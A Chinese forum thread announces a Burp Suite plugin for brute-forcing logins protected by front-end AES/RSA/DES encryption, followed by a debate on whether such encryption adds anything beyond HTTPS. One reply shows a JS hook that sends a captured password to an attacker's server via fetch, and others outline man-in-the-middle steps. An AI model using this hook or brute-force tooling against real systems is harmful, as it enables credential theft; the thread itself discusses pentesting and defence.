现在使用前端加密进行登陆的网站越来越多了,出于方便渗透测试中进行密码爆破,我开发了一个支持 AES/RSA/DES 加密算法,同时也支持将 js 代码直接复制进去执行的小插件。( JS 执行完全在 Java 内部进行,不需要第三方软件)
该插件经测试可以在 BurpSuite 的 1.7.37~2020.12.1 版本中正常运行,同时插件完全开源,你可以自己下载源码使用 Idea 编译,或者在 Release 里下载已经编译好的版本,如果使用上遇到问题也欢迎提 Issue 、PR 。
项目地址: https://github.com/whwlsfb/BurpCrypto
使用说明: https://blog.wanghw.cn/security/burpcrypto-tutorial.html
AES 加密示例:
如果觉得对你有帮助,请随手点个 star,谢谢啦~
1
a570295535 2021-01-07 09:44:52 +08:00 via Android
好家伙,我这拼命的加密,你那拼命的爆破!
|
2
whwlsfb OP @a570295535 哈哈哈,魔高一尺道高一丈。
|
3
kisshere 2021-01-07 10:38:50 +08:00 1
一个人得有多宽广的胸怀和多烂的技术以及多简单的思维才敢把加密用到前端登录
|
4
warcraft1236 2021-01-07 10:41:54 +08:00
@kisshere 看起来淘宝 京东啥的都用了
|
5
warcraft1236 2021-01-07 10:42:18 +08:00
@warcraft1236 我好像说错了........
|
6
whwlsfb OP @warcraft1236 没错啊,确实是用了
|
7
abeholder 2021-01-07 10:48:01 +08:00
hutool 就有集成国密算法
|
9
warcraft1236 2021-01-07 11:35:42 +08:00
@whwlsfb 我也挺好奇,web 页面为啥要用加密,反正都能看到,加密不加密感觉没什么意义,也就能防止一下技术超级烂的初学者啥的
|
10
weixd96 2021-01-07 11:39:22 +08:00
cool
|
11
xxxy 2021-01-07 11:56:10 +08:00
楼上不知道为什么要加密的,其实这是个成本问题
|
12
lawler 2021-01-07 12:21:41 +08:00
|
14
musi 2021-01-07 13:13:59 +08:00 1
@warcraft1236 你要不去破解一下淘宝的登录试试?
|
15
nnnToTnnn 2021-01-07 13:15:45 +08:00
@lawler 前端能植入 js 代码,为什么能防到中间人? 前端除了 https 能防中间人以外,单纯的前端加密是无法防止中间人的
|
16
lululau 2021-01-07 13:17:42 +08:00
好奇前端加密登录是个啥技术
|
17
whwlsfb OP @nnnToTnnn 中间人指的是如果处于不安全的网络环境中,直接传输明文密码可以被直接截取,而且整个过程完全可以自动化进行窃取。但是如果网站开发者使用了类似 RSA 等非对称加密算法对密码进行加密,如果窃取者没有私钥信息是无法解密的,也就保证了传输过程中的安全性。
|
18
whwlsfb OP @nnnToTnnn 另外如果系统的根证书也是处于不安全的情况下,例如像某些企业为了流量监控会统一为员工的电脑安装根证书,这样就算是 https 也无法保证不被中间人窃取。
|
19
huaxianyan 2021-01-07 13:29:24 +08:00
楼主这个插件爱了
实际上我参与的项目中,对称加密的项目还挺多的,很多 JS 文件还没有混淆,楼主这个可谓是省事了 题外话,明文传输、Base64 编码当加密的情况也不少,着实让人无语 |
20
nnnToTnnn 2021-01-07 13:37:15 +08:00
@whwlsfb https 是保证完全可以避免中间人攻击的, 企业在电脑上安装了根证书,这并不是中间人攻击,而是用户电脑上已经信任了此证书。
----------------------------------- ``` 中间人指的是如果处于不安全的网络环境中,直接传输明文密码可以被直接截取,而且整个过程完全可以自动化进行窃取。但是如果网站开发者使用了类似 RSA 等非对称加密算法对密码进行加密,如果窃取者没有私钥信息是无法解密的,也就保证了传输过程中的安全性。 ``` 如果网站使用了 RSA 等非对称加密技术在网页中,请问中间人既然可以注入 JS 代码修改你的网页,为何不能直接扫描你的代码? 拿到你的密钥?你的请求对中间人而言完全就是透明的。 在网页中使用 JS 来进行 RSA 加密保护自己。无非用窗帘当作门了,别人一拉就开了,完全没有必要,而且浪费了浏览器的算力。 你可以了解一下 HTTPS 协议,HTTPS 协议不仅仅只有 RSA 和 AES 进行互换密钥,还有证书认证 HTST 等等。 |
21
fuxiuyin 2021-01-07 13:40:25 +08:00 via iPhone
@whwlsfb 他的意思是在明文环境下,response 的时候直接把加密的 js 换掉,然后就干掉 js 加密了。
|
22
nnnToTnnn 2021-01-07 13:45:10 +08:00
@fuxiuyin 注入 JS 代码,hook 一下加密的函数,然后将参数发送到服务器
例如 源代码 const encode = (txt) => { return newTxt; } 通过中间人,直接修改 html 页面改成 const encode = (txt) => { fetch('https:/攻击者服务器地址') return newTxt; } 这样就把用户的密码完全上传到给服务器了 |
23
whwlsfb OP @nnnToTnnn 首先,前端加密使用 RSA 算法的话,js 代码里提供的的公钥,而公钥是公开的,就像你现在电脑的根证书库的证书一样,只有证书的公钥信息。而通过公钥加密后的数据是必须要使用私钥进行解密的,公钥是无法解密公钥自身加密后的数据。所以就算你窃取到了也无法解密。
另外你说的证书认证确实能解决根证书的问题,但是除了银行和一些 zf 网站,有多少 https 网站会在访问时做证书验证? HTST 也不是加密里面的概念,HTST 只是为了用户访问服务器保持使用 https 协议而已,对于通讯过程中的数据并没有参与。 |
24
nnnToTnnn 2021-01-07 13:50:40 +08:00
@whwlsfb 前端加密使用 RSA 算法。
那么就是 客户端 -> 公钥加密 -> 服务器 -> 私钥解密内容。 那么攻击手段 抓包 -> 注入 JS -> 客户端加密公钥信息 -> 服务器接收消息 -> 返回给客户端 -> 客户端解密 -> 执行 注入的 JS 程序 也就是,直接在你代码中修改发送数据,和接受数据,解密后的操作。 达到中间人攻击。 |
25
nnnToTnnn 2021-01-07 13:54:10 +08:00 2
HTST 就是为了防止中间人攻击而诞生的,保证不会被降级攻击,说来降级攻击,对于前端加密,又存在一种攻击思路
抓包 -> 将公钥替换为中间人的公钥 -> 客户端发送数据给中间人 -> 中间人私钥解密 -> 中间人拿到之前的公钥 -> 伪造数据发送给服务器 -> 服务器返回数据给中间人 -> 中间人采用自己的私钥加密 -> 客户端拿到信息用中间人的公钥来进行解密。 攻击成立,所以加密了一个寂寞~ |
26
GuuJiang 2021-01-07 13:57:42 +08:00 via iPhone
@whwlsfb 证书验证是浏览器的行为,不存在有的网站做有的网站不做,除非是 native 程序可以自行加入 ssl pinning,至于用户自行安装根证书这种行为属于社工问题不属于技术问题
你对中间人存在误解,就拿你说的 RSA 加密来说,如果传输没有经过 https,那中间人完全可以把公钥替换为自己的公钥,这才是最典型的一种中间人攻击的场景,而 https 之所以能对抗中间人就是因为借助证书来保证了拿到的公钥一定是真实的公钥 总结来说,如果传输已经是 https,而前端额外进行一次加密纯属脱裤子放屁,而如果传输不走 https,完全依赖前端加密,那只能自求多福了 |
27
whwlsfb OP |
28
nnnToTnnn 2021-01-07 13:58:32 +08:00
@whwlsfb 如果不能解决证书的信任问题,那么即使前端加密了,也一样存在被攻击的可能性,如果解决了证书信任问题,回头来一看,这不就是 https 协议嘛~
所谓的前端 RSA 的加密,只不过是在手动实现浏览器的 https 协议,而且实现的还有漏洞。 如果你的代码前端加密,没有使用 https,那么和没加密无任何区别,别人一样可以发动中间人,在你网页中植入广告,注入 JS 盗取用户账号密码,盗取用户口令,以及黑掉别人页面。 |
29
Ranying 2021-01-07 14:01:38 +08:00
上面的 HTST 确认不是 HSTS 还是我学识浅薄
|
30
myqoo 2021-01-07 14:01:57 +08:00
|
34
nnnToTnnn 2021-01-07 14:10:28 +08:00
@myqoo
``` export function hash(passBin: Bytes, saltBin: Bytes, dkLen: number) { mAsmU8.set(passBin, mPassPtr); mAsmU8.set(saltBin, mSaltPtr); mPassLen = passBin.length; mSaltLen = saltBin.length; mDkLen = dkLen; mRunning = true; mIterCur = 0; mDoingCounter = 0; mDoneCounter = 0; // [B0, B1, ..., Bp] <- PBKDF2(pass, salt) mAsmObj._PBKDF2_OneIter( mPassPtr, mPassLen, mSaltPtr, mSaltLen, mBlksPtr, mBlkLen * mArgP ); // console.log('smix pre:', // bytesToHex(mAsmU8, mBlksPtr, mBlkLen * mArgP) // ); for (let i = 0; i < mThreads; i++) { task(mWorkerPool[i]); } } ``` 登入思路就是这个,跟踪一下 task 就知道了~ |
35
whwlsfb OP @GuuJiang 补充一下,我说的证书验证指的是客户端证书验证,比如常见的 U 盾、yubico 、或者证书库中的客户端证书。
|
36
followsin 2021-01-07 16:40:47 +08:00
加密也不一定是为了防中间人攻击吧...有的时候就是后端接口的数据不想被人简单的看到所以做了加密,前端配合做加解密而已。传回来一堆字符串总比打开 f12 直接就能看到接口数据要好一点。
|
37
ByZHkc3 2021-01-07 16:42:29 +08:00
@warcraft1236 增加共计成本
|
38
ByZHkc3 2021-01-07 16:43:32 +08:00
加密是为了增加攻击成本,都散了吧
|
39
warcraft1236 2021-01-07 16:49:17 +08:00
我理解防中间人主要是为了防止用户的电脑上有恶意程序,或者整个网络通信链路上有恶意程序,来抓取用户发出去的数据之类的,这个过程 https 已经做的很好了,我觉得一般的前端程序员去自己做的加密逻辑无法比 https 这一套逻辑保证的更好
所以,对于防中间人,我觉得直接用 https 就行了,web 页面自己在做一层加密没有什么必要 对于 https 来说,如果电脑上信任了一些根证书,然后通过这个证书确实可以抓取 https 的数据,charles 这类的抓包软件就是这么实现的,如果是想着 web 页面自己加密数据,是为了防止 charles 这类的工具抓到明文数据,那么,实施攻击的人完全可以逆向 web 页面的逻辑,而发现加密的方法和证书什么的, 所以,这种情况下,web 页面自己做一层加密也没有起到很好的效果 |
40
warcraft1236 2021-01-07 16:51:38 +08:00
@musi 这个不需要我来破解,破解的人挺多的,理论上 web 页面的东西都能逆向到,因为攻击者完全可以自己注册一个帐号在自己电脑上登录,这样也能去嗅探 web 页面整个登录流程是什么逻辑
|
41
IssacTomatoTan 2021-01-07 19:27:58 +08:00 via Android
不一定,shit 山一样的代码逻辑估计连破解的人都受不了而放弃
|
42
YouLMAO 2021-01-07 19:38:53 +08:00
淘宝的 mobile sign 签名, 破解能有 25 万人民币奖金
|
43
ysc3839 2021-01-07 19:54:37 +08:00 via Android
@nnnToTnnn 前端加密更多是防抓包而不是防中间人吧。要是能篡改数据的话,直接改掉 js 代码,去掉加密即可。但是在只能窃取数据的情况下,还是有一定作用的。
|
44
crclz 2021-01-07 19:57:51 +08:00
@huaxianyan https 条件下明文传输有问题吗
|
45
huaxianyan 2021-01-07 20:13:43 +08:00
@crclz 忘记说了,明文的那些全是 http
|